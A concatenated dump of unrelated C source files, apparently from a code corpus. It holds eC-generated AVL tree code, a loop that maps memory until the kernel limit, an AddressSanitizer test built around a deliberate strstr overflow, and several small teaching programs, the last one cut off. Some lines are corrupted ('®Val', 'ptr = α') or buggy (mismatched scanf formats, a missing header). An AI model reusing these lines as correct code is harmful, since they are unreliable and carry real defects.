# define ecere_stdcall __attribute__((__stdcall__))
# define ecere_gcc_struct __attribute__((gcc_struct))
# else
# define ecere_stdcall __stdcall
# define ecere_gcc_struct
# endif
#else
# define ecere_stdcall
# define ecere_gcc_struct
#endif
#include <stdint.h>
#include <sys/types.h>
struct __ecereNameSpace__ecere__sys__BTNode;
struct __ecereNameSpace__ecere__sys__OldList
{
void * first;
void * last;
int count;
unsigned int offset;
unsigned int circ;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__DataValue
{
union
{
char c;
unsigned char uc;
short s;
unsigned short us;
int i;
unsigned int ui;
void * p;
float f;
double d;
long long i64;
uint64 ui64;
} ecere_gcc_struct __anon1;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__SerialBuffer
{
unsigned char * _buffer;
size_t count;
size_t _size;
size_t pos;
} ecere_gcc_struct;
extern void * __ecereNameSpace__ecere__com__eSystem_New(unsigned int size);
extern void * __ecereNameSpace__ecere__com__eSystem_New0(unsigned int size);
extern void * __ecereNameSpace__ecere__com__eSystem_Renew(void * memory, unsigned int size);
extern void * __ecereNameSpace__ecere__com__eSystem_Renew0(void * memory, unsigned int size);
extern void __ecereNameSpace__ecere__com__eSystem_Delete(void * memory);
extern void * memcpy(void * , const void * , size_t size);
struct __ecereNameSpace__ecere__com__CustomAVLTree
{
struct __ecereNameSpace__ecere__com__AVLNode * root;
int count;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__ClassTemplateParameter;
struct __ecereNameSpace__ecere__com__IteratorPointer;
struct __ecereNameSpace__ecere__com__Class;
struct __ecereNameSpace__ecere__com__Instance
{
void * * _vTbl;
struct __ecereNameSpace__ecere__com__Class * _class;
int _refCount;
} ecere_gcc_struct;
extern long long __ecereNameSpace__ecere__com__eClass_GetProperty(struct __ecereNameSpace__ecere__com__Class * _class, const char * name);
extern void __ecereNameSpace__ecere__com__eClass_SetProperty(struct __ecereNameSpace__ecere__com__Class * _class, const char * name, long long value);
extern void __ecereNameSpace__ecere__com__eClass_DoneAddingTemplateParameters(struct __ecereNameSpace__ecere__com__Class * base);
extern void __ecereNameSpace__ecere__com__eInstance_SetMethod(struct __ecereNameSpace__ecere__com__Instance * instance, const char * name, void * function);
extern void __ecereNameSpace__ecere__com__eInstance_IncRef(struct __ecereNameSpace__ecere__com__Instance * instance);
int __ecereVMethodID___ecereNameSpace__ecere__com__Container_Find;
int __ecereVMethodID___ecereNameSpace__ecere__com__Container_Remove;
int __ecereVMethodID___ecereNameSpace__ecere__com__Container_Add;
int __ecereVMethodID___ecereNameSpace__ecere__com__Container_GetAtPosition;
struct __ecereNameSpace__ecere__com__AVLNode;
struct __ecereNameSpace__ecere__com__AVLNode
{
struct __ecereNameSpace__ecere__com__AVLNode * parent;
struct __ecereNameSpace__ecere__com__AVLNode * left;
struct __ecereNameSpace__ecere__com__AVLNode * right;
int depth;
uint64 key;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__AVLNode * __ecereMethod___ecereNameSpace__ecere__com__AVLNode_Find(struct __ecereNameSpace__ecere__com__AVLNode * this, struct __ecereNameSpace__ecere__com__Class * Tclass, const uint64 key);
struct __ecereNameSpace__ecere__com__AVLNode * __ecereMethod___ecereNameSpace__ecere__com__AVLNode_FindAll(struct __ecereNameSpace__ecere__com__AVLNode * this, const uint64 key);
struct __ecereNameSpace__ecere__sys__BinaryTree;
struct __ecereNameSpace__ecere__sys__BinaryTree
{
struct __ecereNameSpace__ecere__sys__BTNode * root;
int count;
int (* CompareKey)(struct __ecereNameSpace__ecere__sys__BinaryTree * tree, uintptr_t a, uintptr_t b);
void (* FreeKey)(void * key);
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__DataMember;
struct __ecereNameSpace__ecere__com__DataMember
{
struct __ecereNameSpace__ecere__com__DataMember * prev;
struct __ecereNameSpace__ecere__com__DataMember * next;
const char * name;
unsigned int isProperty;
int memberAccess;
int id;
struct __ecereNameSpace__ecere__com__Class * _class;
const char * dataTypeString;
struct __ecereNameSpace__ecere__com__Class * dataTypeClass;
struct __ecereNameSpace__ecere__com__Instance * dataType;
int type;
int offset;
int memberID;
struct __ecereNameSpace__ecere__sys__OldList members;
struct __ecereNameSpace__ecere__sys__BinaryTree membersAlpha;
int memberOffset;
short structAlignment;
short pointerAlignment;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__Method;
struct __ecereNameSpace__ecere__com__Method
{
const char * name;
struct __ecereNameSpace__ecere__com__Method * parent;
struct __ecereNameSpace__ecere__com__Method * left;
struct __ecereNameSpace__ecere__com__Method * right;
int depth;
int (* function)();
int vid;
int type;
struct __ecereNameSpace__ecere__com__Class * _class;
void * symbol;
const char * dataTypeString;
struct __ecereNameSpace__ecere__com__Instance * dataType;
int memberAccess;
} ecere_gcc_struct;
extern struct __ecereNameSpace__ecere__com__Method * __ecereNameSpace__ecere__com__eClass_AddMethod(struct __ecereNameSpace__ecere__com__Class * _class, const char * name, const char * type, void * function, int declMode);
struct __ecereNameSpace__ecere__com__Property;
struct __ecereNameSpace__ecere__com__ClassTemplateArgument
{
union
{
struct
{
const char * dataTypeString;
struct __ecereNameSpace__ecere__com__Class * dataTypeClass;
} ecere_gcc_struct __anon1;
struct __ecereNameSpace__ecere__com__DataValue expression;
struct
{
const char * memberString;
union
{
struct __ecereNameSpace__ecere__com__DataMember * member;
struct __ecereNameSpace__ecere__com__Property * prop;
struct __ecereNameSpace__ecere__com__Method * method;
} ecere_gcc_struct __anon1;
} ecere_gcc_struct __anon2;
} ecere_gcc_struct __anon1;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__Property
{
struct __ecereNameSpace__ecere__com__Property * prev;
struct __ecereNameSpace__ecere__com__Property * next;
const char * name;
unsigned int isProperty;
int memberAccess;
int id;
struct __ecereNameSpace__ecere__com__Class * _class;
const char * dataTypeString;
struct __ecereNameSpace__ecere__com__Class * dataTypeClass;
struct __ecereNameSpace__ecere__com__Instance * dataType;
void (* Set)(void * , int);
int (* Get)(void * );
unsigned int (* IsSet)(void * );
void * data;
void * symbol;
int vid;
unsigned int conversion;
unsigned int watcherOffset;
const char * category;
unsigned int compiled;
unsigned int selfWatchable;
unsigned int isWatchable;
} ecere_gcc_struct;
extern void __ecereNameSpace__ecere__com__eInstance_FireSelfWatchers(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property);
extern void __ecereNameSpace__ecere__com__eInstance_StopWatching(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property, struct __ecereNameSpace__ecere__com__Instance * object);
extern void __ecereNameSpace__ecere__com__eInstance_Watch(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property, void * object, void (* callback)(void * , void * ));
extern void __ecereNameSpace__ecere__com__eInstance_FireWatchers(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property);
extern struct __ecereNameSpace__ecere__com__ClassTemplateParameter * __ecereNameSpace__ecere__com__eClass_AddTemplateParameter(struct __ecereNameSpace__ecere__com__Class * _class, const char * name, int type, const void * info, struct __ecereNameSpace__ecere__com__ClassTemplateArgument * defaultArg);
struct __ecereNameSpace__ecere__com__Module;
extern struct __ecereNameSpace__ecere__com__Class * __ecereNameSpace__ecere__com__eSystem_RegisterClass(int type, const char * name, const char * baseName, int size, int sizeClass, unsigned int (* Constructor)(void * ), void (* Destructor)(void * ), struct __ecereNameSpace__ecere__com__Instance * module, int declMode, int inheritanceAccess);
extern struct __ecereNameSpace__ecere__com__Instance * __thisModule;
struct __ecereNameSpace__ecere__com__NameSpace;
struct __ecereNameSpace__ecere__com__NameSpace
{
const char * name;
struct __ecereNameSpace__ecere__com__NameSpace * btParent;
struct __ecereNameSpace__ecere__com__NameSpace * left;
struct __ecereNameSpace__ecere__com__NameSpace * right;
int depth;
struct __ecereNameSpace__ecere__com__NameSpace * parent;
struct __ecereNameSpace__ecere__sys__BinaryTree nameSpaces;
struct __ecereNameSpace__ecere__sys__BinaryTree classes;
struct __ecereNameSpace__ecere__sys__BinaryTree defines;
struct __ecereNameSpace__ecere__sys__BinaryTree functions;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__Class
{
struct __ecereNameSpace__ecere__com__Class * prev;
struct __ecereNameSpace__ecere__com__Class * next;
const char * name;
int offset;
int structSize;
void * * _vTbl;
int vTblSize;
unsigned int (* Constructor)(void * );
void (* Destructor)(void * );
int offsetClass;
int sizeClass;
struct __ecereNameSpace__ecere__com__Class * base;
struct __ecereNameSpace__ecere__sys__BinaryTree methods;
struct __ecereNameSpace__ecere__sys__BinaryTree members;
struct __ecereNameSpace__ecere__sys__BinaryTree prop;
struct __ecereNameSpace__ecere__sys__OldList membersAndProperties;
struct __ecereNameSpace__ecere__sys__BinaryTree classProperties;
struct __ecereNameSpace__ecere__sys__OldList derivatives;
int memberID;
int startMemberID;
int type;
struct __ecereNameSpace__ecere__com__Instance * module;
struct __ecereNameSpace__ecere__com__NameSpace * nameSpace;
const char * dataTypeString;
struct __ecereNameSpace__ecere__com__Instance * dataType;
int typeSize;
int defaultAlignment;
void (* Initialize)();
int memberOffset;
struct __ecereNameSpace__ecere__sys__OldList selfWatchers;
const char * designerClass;
unsigned int noExpansion;
const char * defaultProperty;
unsigned int comRedefinition;
int count;
int isRemote;
unsigned int internalDecl;
void * data;
unsigned int computeSize;
short structAlignment;
short pointerAlignment;
int destructionWatchOffset;
unsigned int fixed;
struct __ecereNameSpace__ecere__sys__OldList delayedCPValues;
int inheritanceAccess;
const char * fullName;
void * symbol;
struct __ecereNameSpace__ecere__sys__OldList conversions;
struct __ecereNameSpace__ecere__sys__OldList templateParams;
struct __ecereNameSpace__ecere__com__ClassTemplateArgument * templateArgs;
struct __ecereNameSpace__ecere__com__Class * templateClass;
struct __ecereNameSpace__ecere__sys__OldList templatized;
int numParams;
unsigned int isInstanceClass;
unsigned int byValueSystemClass;
void * bindingsClass;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__Application
{
int argc;
const char * * argv;
int exitCode;
unsigned int isGUIApp;
struct __ecereNameSpace__ecere__sys__OldList allModules;
char * parsedCommand;
struct __ecereNameSpace__ecere__com__NameSpace systemNameSpace;
} ecere_gcc_struct;
static struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__AVLTree;
extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__Instance;
extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__CustomAVLTree;
extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__AVLNode;
extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__IteratorPointer;
extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__Module;
struct __ecereNameSpace__ecere__com__Module
{
struct __ecereNameSpace__ecere__com__Instance * application;
struct __ecereNameSpace__ecere__sys__OldList classes;
struct __ecereNameSpace__ecere__sys__OldList defines;
struct __ecereNameSpace__ecere__sys__OldList functions;
struct __ecereNameSpace__ecere__sys__OldList modules;
struct __ecereNameSpace__ecere__com__Instance * prev;
struct __ecereNameSpace__ecere__com__Instance * next;
const char * name;
void * library;
void * Unload;
int importType;
int origImportType;
struct __ecereNameSpace__ecere__com__NameSpace privateNameSpace;
struct __ecereNameSpace__ecere__com__NameSpace publicNameSpace;
} ecere_gcc_struct;
struct __ecereNameSpace__ecere__com__AVLNode * __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Add(struct __ecereNameSpace__ecere__com__Instance * this, uint64 value)
{
unsigned int justAdded = 0;
struct __ecereNameSpace__ecere__com__AVLNode * node = (struct __ecereNameSpace__ecere__com__AVLNode *)(__extension__ ({
struct __ecereNameSpace__ecere__com__IteratorPointer * (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, const uint64 pos, unsigned int create, unsigned int * justAdded);
__internal_VirtualMethod = ((struct __ecereNameSpace__ecere__com__IteratorPointer * (*)(struct __ecereNameSpace__ecere__com__Instance *, const uint64 pos, unsigned int create, unsigned int * justAdded))__extension__ ({
struct __ecereNameSpace__ecere__com__Instance * __internal_ClassInst = this;
__internal_ClassInst ? __internal_ClassInst->_vTbl : __ecereClass___ecereNameSpace__ecere__com__AVLTree->_vTbl;
})[__ecereVMethodID___ecereNameSpace__ecere__com__Container_GetAtPosition]);
__internal_VirtualMethod ? __internal_VirtualMethod(this, value, 1, &justAdded) : (struct __ecereNameSpace__ecere__com__IteratorPointer *)1;
}));
return justAdded ? node : (((void *)0));
}
uint64 __ecereMethod___ecereNameSpace__ecere__com__AVLTree_GetData(struct __ecereNameSpace__ecere__com__Instance * this, struct __ecereNameSpace__ecere__com__AVLNode * node)
{
return node ? ((((struct __ecereNameSpace__ecere__com__Instance *)(char *)this)->_class->templateArgs[5].__anon1.__anon1.dataTypeClass->type == 1) ? (uint64)(uintptr_t)(((unsigned char *)&node->key) + __ENDIAN_PAD(sizeof(void *))) : node->key) : (uint64)0;
}
unsigned int __ecereMethod___ecereNameSpace__ecere__com__AVLTree_SetData(struct __ecereNameSpace__ecere__com__Instance * this, struct __ecereNameSpace__ecere__com__AVLNode * node, uint64 value)
{
if(!(__extension__ ({
struct __ecereNameSpace__ecere__com__IteratorPointer * (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, const uint64 value);
__internal_VirtualMethod = ((struct __ecereNameSpace__ecere__com__IteratorPointer * (*)(struct __ecereNameSpace__ecere__com__Instance *, const uint64 value))__extension__ ({
struct __ecereNameSpace__ecere__com__Instance * __internal_ClassInst = this;
__internal_ClassInst ? __internal_ClassInst->_vTbl : __ecereClass___ecereNameSpace__ecere__com__AVLTree->_vTbl;
})[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Find]);
__internal_VirtualMethod ? __internal_VirtualMethod(this, value) : (struct __ecereNameSpace__ecere__com__IteratorPointer *)1;
})))
{
(__extension__ ({
void (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, struct __ecereNameSpace__ecere__com__IteratorPointer * it);
__internal_VirtualMethod = ((void (*)(struct __ecereNameSpace__ecere__com__Instance *, struct __ecereNameSpace__ecere__com__IteratorPointer * it))__extension__ ({
struct __ecereNameSpace__ecere__com__Instance * __internal_ClassInst = this;
__internal_ClassInst ? __internal_ClassInst->_vTbl : __ecereClass___ecereNameSpace__ecere__com__AVLTree->_vTbl;
})[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Remove]);
__internal_VirtualMethod ? __internal_VirtualMethod(this, (void *)(node)) : (void)1;
}));
if(((struct __ecereNameSpace__ecere__com__Instance *)(char *)this)->_class->templateArgs[5].__anon1.__anon1.dataTypeClass->type == 1)
memcpy((void *)(((unsigned char *)&node->key) + __ENDIAN_PAD(sizeof(void *))), (void *)(uintptr_t)value, ((struct __ecereNameSpace__ecere__com__Instance *)(char *)this)->_class->templateArgs[5].__anon1.__anon1.dataTypeClass->structSize);
else
node->key = value;
(__extension__ ({
struct __ecereNameSpace__ecere__com__IteratorPointer * (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, uint64 value);
__internal_VirtualMethod = ((struct __ecereNameSpace__ecere__com__IteratorPointer * (*)(struct __ecereNameSpace__ecere__com__Instance *, uint64 value))__ecereClass___ecereNameSpace__ecere__com__AVLTree->_vTbl[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Add]);
__internal_VirtualMethod ? __internal_VirtualMethod(this, (uint64)(uintptr_t)node) : (struct __ecereNameSpace__ecere__com__IteratorPointer *)1;
}));
return 1;
}
return 0;
}
struct __ecereNameSpace__ecere__com__AVLNode * __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Find(struct __ecereNameSpace__ecere__com__Instance * this, const uint64 key)
{
struct __ecereNameSpace__ecere__com__AVLNode * root = ((struct __ecereNameSpace__ecere__com__CustomAVLTree *)(((char *)this + 0 + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->root;
return root ? __ecereMethod___ecereNameSpace__ecere__com__AVLNode_Find(root, ((struct __ecereNameSpace__ecere__com__Instance *)(char *)this)->_class->templateArgs[5].__anon1.__anon1.dataTypeClass, key) : (((void *)0));
}
struct __ecereNameSpace__ecere__com__AVLNode * __ecereMethod___ecereNameSpace__ecere__com__AVLTree_FindAll(struct __ecereNameSpace__ecere__com__Instance * this, const uint64 key)
{
struct __ecereNameSpace__ecere__com__AVLNode * root = ((struct __ecereNameSpace__ecere__com__CustomAVLTree *)(((char *)this + 0 + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->root;
return root ? __ecereMethod___ecereNameSpace__ecere__com__AVLNode_FindAll(root, key) : (((void *)0));
}
void __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Remove(struct __ecereNameSpace__ecere__com__Instance * this, struct __ecereNameSpace__ecere__com__AVLNode * node)
{
(__extension__ ({
void (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Instance *, struct __ecereNameSpace__ecere__com__IteratorPointer * it);
__internal_VirtualMethod = ((void (*)(struct __ecereNameSpace__ecere__com__Instance *, struct __ecereNameSpace__ecere__com__IteratorPointer * it))__ecereClass___ecereNameSpace__ecere__com__CustomAVLTree->_vTbl[__ecereVMethodID___ecereNameSpace__ecere__com__Container_Remove]);
__internal_VirtualMethod ? __internal_VirtualMethod(this, (void *)(node)) : (void)1;
}));
((node ? __extension__ ({
void * __ecerePtrToDelete = (node);
__ecereClass___ecereNameSpace__ecere__com__AVLNode->Destructor ? __ecereClass___ecereNameSpace__ecere__com__AVLNode->Destructor((void *)__ecerePtrToDelete) : 0, __ecereClass___ecereNameSpace__ecere__com__IteratorPointer->Destructor ? __ecereClass___ecereNameSpace__ecere__com__IteratorPointer->Destructor((void *)__ecerePtrToDelete) : 0, __ecereNameSpace__ecere__com__eSystem_Delete(__ecerePtrToDelete);
}) : 0), node = 0);
}
void __ecereUnregisterModule_AVLTree(struct __ecereNameSpace__ecere__com__Instance * module)
{
}
void __ecereRegisterModule_AVLTree(struct __ecereNameSpace__ecere__com__Instance * module)
{
struct __ecereNameSpace__ecere__com__Class __attribute__((unused)) * class;
class = __ecereNameSpace__ecere__com__eSystem_RegisterClass(0, "ecere::com::AVLTree", "ecere::com::CustomAVLTree<BT = ecere::com::AVLNode<AT>, KT = AT, T = AT, D = AT>", 0, 0, (void *)0, (void *)0, module, 4, 1);
if(((struct __ecereNameSpace__ecere__com__Module *)(((char *)module + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->application == ((struct __ecereNameSpace__ecere__com__Module *)(((char *)__thisModule + sizeof(struct __ecereNameSpace__ecere__com__Instance))))->application && class)
__ecereClass___ecereNameSpace__ecere__com__AVLTree = class;
__ecereNameSpace__ecere__com__eClass_AddMethod(class, "GetData", 0, __ecereMethod___ecereNameSpace__ecere__com__AVLTree_GetData, 1);
__ecereNameSpace__ecere__com__eClass_AddMethod(class, "SetData", 0, __ecereMethod___ecereNameSpace__ecere__com__AVLTree_SetData, 1);
__ecereNameSpace__ecere__com__eClass_AddMethod(class, "Add", 0, __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Add, 1);
__ecereNameSpace__ecere__com__eClass_AddMethod(class, "Remove", 0, __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Remove, 1);
__ecereNameSpace__ecere__com__eClass_AddMethod(class, "Find", 0, __ecereMethod___ecereNameSpace__ecere__com__AVLTree_Find, 1);
__ecereNameSpace__ecere__com__eClass_AddTemplateParameter(class, "AT", 0, 0, (((void *)0)));
__ecereNameSpace__ecere__com__eClass_DoneAddingTemplateParameters(class);
if(class)
class->fixed = (unsigned int)1;
}
|
the_stack_data/145453843.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#define handle_error(msg) \
do { perror(msg); sleep(10); exit(EXIT_FAILURE); } while (0)
int main(int argc, char *argv[])
{
char *addr = 0;
int i = 0;
pid_t mypid = getpid();
char myprefix[26];
snprintf(myprefix, 26, "/tmp/c_mmap_pid_%i_XXXXXX", mypid);
int fd = mkstemp(myprefix);
if (fd < 0)
handle_error("open");
while(1 == 1) {
/* mmaping a file triggers vm.max_map_count */
addr = mmap(0, 1, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_NORESERVE|MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED)
handle_error("mmap");
/* Can mmap and mprotect as many anonymous maps as one wants
* addr = mmap(0, 1, PROT_READ|PROT_WRITE|PROT_EXEC,
* MAP_NORESERVE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
* if (addr == MAP_FAILED)
* handle_error("mmap");
* if (0 != mprotect(addr, 1, PROT_READ|PROT_WRITE|PROT_EXEC))
* handle_error("mprotect");
*/
i++;
printf("%i: Allocated map: %i, %p\n", mypid, i, addr);
}
exit(0);
}
|
the_stack_data/211080043.c | #include <stdio.h>
int main(void){
int regVal;
int regSize [8] = {2,3,5,7,11,13,17,19};
int tot = 1;
int it = 0;
for (int i = 0; i < 8; i++){
scanf("%d", ®Val);
it += tot * regVal;
tot *= regSize[i];
}
printf("%d\n", tot - (it + 1));
} |
the_stack_data/154830287.c | static int
one (void)
{
return 1;
}
static int
minus_one (void)
{
return -1;
}
void * foo_ifunc (void) __asm__ ("foo");
__asm__(".type foo, %gnu_indirect_function");
void *
foo_ifunc (void)
{
return one;
}
void * bar_ifunc (void) __asm__ ("bar");
__asm__(".type bar, %gnu_indirect_function");
void *
bar_ifunc (void)
{
return minus_one;
}
|
the_stack_data/122015717.c | #include <stdio.h>
int main()
{
int alpha;
int *ptr;
alpha = 99;
ptr = α
printf("Variable alpha = %d\n",alpha);
*ptr = 66;
printf("Variable alpha = %d\n",alpha);
return(0);
}
|
the_stack_data/115766335.c | #include <stdio.h>
int main()
{
unsigned long int *arr, sum = 0, n, i;
scanf("%ld", &n);
arr = (unsigned long int *)malloc(n * sizeof(unsigned long int));
for(i = 0; i < n; i++)
{
scanf("%d", (arr + i));
sum += *(arr + i);
}
printf("%ld", sum);
free(arr);
} |
the_stack_data/234516931.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <math.h>
int GetRandom(int min, int max)
{
static int flag;
if (flag == 0) {
srand((unsigned int)time(NULL));
flag = 1;
}
return min + (int)(rand() * (max - min + 1.0) / (1.0 + RAND_MAX));
}
void main(void){
double i = 0;
printf("じゃんけんをする回数を入力してください。:");
scanf("%lf", &i);
double debug_reg = 0;
debug_reg = i / 100;
// printf("Debug, 入力直後です\n\n");
double o = 0;
int win = 0;
double win_num = 0;
if(i <= 100){
debug_reg = 1;
}
else if (i >= 1000000000){
debug_reg = 10000000;
}
// printf("Debug, 変数生成直後です\n\n");
/*---------------
win = 0:あいこ
win = 1:勝ち
win = 2:負け
*///-------------
//printf("Debug, ループ手前です。\n\n");
printf("\n");
do{
// printf("Debug, ループに入りました\n\n");
o++;
int janken_1 = GetRandom(1, 3); //ワイ
int janken_2 = GetRandom(1, 3); //相手
if(fmod(o, debug_reg) == 0){
printf("%f回目のループ\n", o);
printf("ワイの値:%d\n", janken_1);
printf("相手の値:%d\n", janken_2);
}
/*
1:グー
2:チョキ
3:パー
*/
if(janken_1 == 1){ //ワイがグーを出していたら
if(janken_2 == 1){ //相手もグーを出していたら
win = 0;
// printf("私:グー, 相手:グー, 結果:あいこ\n\n");
}
else if(janken_2 == 2){ //相手がチョキを出していたら
win = 1;
win_num++;
// printf("私:グー, 相手:チョキ, 結果:勝ち\n\n");
}
else if(janken_2 == 3){ //相手がパーを出していたら
win = 2;
// printf("私:グー, 相手:パー, 結果:負け\n\n");
}
}
if(janken_1 == 2){ //ワイがチョキを出していたら
if(janken_2 == 1){ //相手がグーを出していたら
win = 2;
// printf("私:チョキ, 相手:グー, 結果:負け\n\n");
}
else if(janken_2 == 2){ //相手もチョキを出していたら
win = 0;
// printf("私:チョキ, 相手:チョキ, 結果:あいこ\n\n");
}
else if(janken_2 == 3){ //相手がパーを出していたら
win = 1;
win_num++;
// printf("私:チョキ, 相手:パー, 結果:勝ち\n\n");
}
}
if(janken_1 == 3){ //ワイがパーを出していたら
if(janken_2 == 1){ //相手がグーを出していたら
win = 1;
win_num++;
// printf("私:パー, 相手:グー, 結果:勝ち\n\n");
}
else if(janken_2 == 2){ //相手がチョキを出していたら
win = 2;
// printf("私:パー, 相手:チョキ, 結果:負け\n\n");
}
else if(janken_2 == 3){ //相手もパーを出していたら
win = 0;
// printf("私:パー, 相手:グー, 結果:あいこ\n\n");
}
}
}while(o != i);
double percent = 0;
percent = win_num / o * 100;
int how_many_janken = 0;
how_many_janken = o;
int how_many_win = 0;
how_many_win = win_num;
printf("%d回じゃんけんを行い、%d回勝利したので、勝率は %.15f %%です。\n", how_many_janken, how_many_win, percent);
}
|
the_stack_data/44846.c | #include <stdio.h>
char ch;
int main(void)
{
while ((ch=getchar())!=EOF)
putchar(ch);
return 0;
}
|
the_stack_data/90762123.c |
// Copyright 2021 University of Nottingham Ningbo China
// Author: Filippo Savi <[email protected]>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.07/07/2021.
//
int main(){
#pragma input(a, {r4,r7});
#pragma output(b, r3);
#pragma output(c, {r8,r9});
#pragma memory(d, {r10,r11});
float a[2];
float b = a[0] + a[1];
float c[2];
c[0] = a[0] + a[1];
c[1] = a[0] - a[1];
float d[2];
d[0] = a[0] * a[1];
d[1] = a[0] * b;
} |
the_stack_data/51700089.c | // Test needle overflow in strstr function
// RUN: %clang_asan %s -o %t && %env_asan_opts=strict_string_checks=true not %run %t 2>&1 | FileCheck %s
// Test intercept_strstr asan option
// Disable other interceptors because strlen may be called inside strstr
// RUN: %env_asan_opts=intercept_strstr=false:replace_str=false %run %t 2>&1
#include <assert.h>
#include <string.h>
int main(int argc, char **argv) {
char *r = 0;
char s1[] = "ab";
char s2[] = {'c'};
char s3 = 0;
r = strstr(s1, s2);
// CHECK:'s{{[2|3]}}' <== Memory access at offset {{[0-9]+ .*}}flows this variable
assert(r == 0);
return 0;
}
|
the_stack_data/51701301.c | # include<stdio.h>
# include <math.h>
int main(){
int a = 4;
int b = 8;
printf("The value of a + b is: %d\n", a + b);
printf("The value of a - b is: %d\n", a - b);
printf("The value of a * b is: %d\n", a * b);
printf("The value of a / b is: %d\n", a / b);
int z;
z = b * a; // legal
//b * a = z; // Illegal
printf("The value of z is: %d\n", z);
printf("5 when divided by 2 leaves a remainder of %d\n", 5%2);
printf("-5 when divided by 2 leaves a remainder of %d\n", -5%2);
printf("5 when divided by -2 leaves a remainder of %d\n", 5%-2);
// No operator is assumed to be present
//printf("The value of 4 * 5 is %d\n", (4)(5)); --> Will not return 20/ Wrong!!
printf("The value of 4 * 5 is %d\n", (4)*(5));
// There is no operator to perform exponentiation in C
printf("The value of 4 ^ 5 is %d\n", 4^5); // -> Will not produce 4 to the power 5
printf("The value of 4 to the power 5 is %f\n", pow(2, 5));
printf("The value of 6 + 5 is %d\n", 6 + 5);
printf("The value of 6 + 5.6 is %f\n", 6 + 5.6);
printf("The value of 6.1 + 5.6 is %f\n", 6.1 + 5.6);
printf("The value of 5/2 is %d\n", 5/2);
printf("The value of 3.0/9 is %f\n", 3.0 / 9);
return 0;
}
|
the_stack_data/73575695.c | /*
Autor: Rubí E. Ramírez Milián
Compliador: gcc (Debian 8.3.0-6) 8.3.0
Para compilar: gcc -o Problema1 Problema1.c -lm
Fecha: Fri Apr 30 17:40:36 CST 2021
Librerías: stdio (u otras)
Entradas, Salidas, Resumen: Minimo Cuadrados de presión-volumen
*/
//Librerias
#include <stdio.h>
//#include <stdlib.h>
#include <math.h>
//Declaración e inicialización de variables globales
float volumen[] = {54.3,61.8,72.4,88.7,118.6,194};
float presion[] = {61.2,49.2,37.6,28.4,19.2,10.2};
float yerror= 0.2;
float xerror = 0.1;
int n = sizeof(volumen) / sizeof(volumen[0]);
float sumatoria_xy(float x[], float y[]);
float sumatoria_datos(float x[]);
int main()
{
//valores de cada parte de la ecuacion lineal
float Deltax=0;
float Deltay=0;
float a=0;
float ln_b=0;
float r=0;
float ln_volumen[n];
float ln_presion[n];
float ln_volumen_error[n];
float a_error=0;
float ln_b_error=0;
float b=0;
float incerteza_ln_presion;
float desviacion;
//Ahora debemos volver la función lineal para usar mínimos cuadrados, usamos logaritmos para ello
//Recorremos el arreglo
for (int i = 0; i < n; i++)
{
ln_volumen[i] = log(volumen[i]);
ln_presion[i] = log(presion[i]);
}
Deltax = n * sumatoria_xy(ln_volumen, ln_volumen) - sumatoria_datos(ln_volumen) * sumatoria_datos(ln_volumen);
Deltay = n * sumatoria_xy(ln_presion, ln_presion) - sumatoria_datos(ln_presion) * sumatoria_datos(ln_presion);
a=(n * sumatoria_xy(ln_volumen,ln_presion) - sumatoria_datos(ln_volumen) * sumatoria_datos(ln_presion))/Deltax;
ln_b=(sumatoria_datos(ln_presion)-a*sumatoria_datos(ln_volumen))/n;
b = exp(ln_b);
//Incerteza en las nuevas variables x y y, debe ser la desviaviación estándar
for (int i = 0; i < n; i++)
{
ln_volumen_error[i] = xerror/(volumen[i]);
